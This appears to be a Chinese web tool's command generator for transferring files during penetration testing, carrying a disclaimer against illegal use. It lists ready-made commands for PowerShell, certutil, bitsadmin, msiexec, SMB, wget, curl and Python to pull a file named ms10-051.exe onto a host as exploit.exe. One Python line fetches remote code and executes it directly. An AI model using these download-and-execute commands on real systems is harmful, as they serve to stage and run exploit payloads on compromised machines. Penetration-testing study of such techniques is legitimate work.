本功能用于学习在日常过程中可能会遇到的传输文件命令相关命令,切勿用于非法渗透攻击,仅供各位学习使用
IP:
Port:
Source File:
Destination File:
文件下载命令快捷生成:
Python HTTP:
python -m SimpleHTTPServer 8080
Python3 HTTP:
python3 -m http.server 8080
Python FTP:
python -m pyftpdlib -p 8080
Python3 SMB:
python3 impacket-smbserver.py files . -port 8080
PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/ms10-051.exe -OutFile exploit.exe"
PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8080/ms10-051.exe', exploit.exe)"
CMD - Certutil:
certutil.exe -urlcache -split -f http://127.0.0.1:8080/ms10-051.exe exploit.exe
CMD - SMB:
copy \\127.0.0.1\files\ms10-051.exe exploit.exe
Linux - wget:
wget http://127.0.0.1:8080/ms10-051.exe -O exploit.exe
Linux - curl:
curl http://127.0.0.1:8080/ms10-051.exe -o exploit.exe
Windows Bitsadmin:
bitsadmin /rawreturn /transfer down "http://127.0.0.1:8080/ms10-051.exe" c:\\exploit.exe
Windows msiexec:
msiexec /q /i http://127.0.0.1:8080/ms10-051.exe
Python Download:
python -c "import urllib2; exec urllib2.urlopen('http://127.0.0.1:8080/ms10-051.exe').read();"
Windows IPC$:
copy \127.0.0.1\c$\ms10-051.exe C:\exploit.exe